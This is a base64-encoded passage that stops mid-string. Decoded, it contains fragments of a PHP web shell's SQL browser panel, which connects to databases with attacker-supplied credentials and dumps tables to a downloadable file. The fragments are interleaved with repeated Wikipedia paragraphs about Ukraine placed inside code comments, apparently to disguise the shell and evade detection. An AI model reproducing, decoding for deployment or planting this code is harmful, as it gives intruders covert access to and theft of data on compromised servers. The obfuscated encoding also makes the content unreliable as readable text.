aWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7CgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwoJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsKCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOwoJCWZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKCQkJCSRkYi0+ZHVtcCgkdik7CgkJZXhpdDsKCX0KCXByaW50SGVhZGVyKCk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJPz4KCTxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJPGZvcm0gbmFtZT0ic2YiIG1ldGhvZD0icG9zdCI+CgkJPHRhYmxlIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCI+CgkJCTx0cj4KCQkJCTx0ZD5UeXBlPC90ZD4KCQkJCTx0ZD5Ib3N0PC90ZD4KCQkJCTx0ZD5Mb2dpbjwvdGQ+CgkJCQk8dGQ+UGFzc3dvcmQ8L3RkPgoJCQkJPHRkPkRhdGFiYXNlPC90ZD4KCQkJCTx0ZD48L3RkPgoJCQk8L3RyPgoJCQk8dHI+CgkJCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD4KCQkJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+CgkJCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KCQkJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9Jzw/PWh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKTs/Pic+CgkJCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106Jyc/Pic+CgkJCQk8dGQ+CgkJCQkJPHNlbGVjdCBuYW1lPSd0eXBlJz4KCQkJCQkJPG9wdGlvbiB2YWx1ZT0ibXlzcWwiIDw/cGhwIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7Pz4+TXlTcWw8L29wdGlvbj4KLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJCTxvcHRpb24gdmFsdWU9InBnc3FsIiA8P3BocCBpZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOz8+PlBvc3RncmVTcWw8L29wdGlvbj4KCQkJCQk8L3NlbGVjdD48L3RkPgoJCQkJPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKTs/Pic+PC90ZD4KCQkJCTx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSc8Pz0oZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpOz8+Jz48L3RkPgoJCQkJPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKTs/Pic+PC90ZD4KCQkJCTx0ZD4KCTw/cGhwCgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOwoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CgkJaWYoJGRiLT5jb25uZWN0KCRfUE9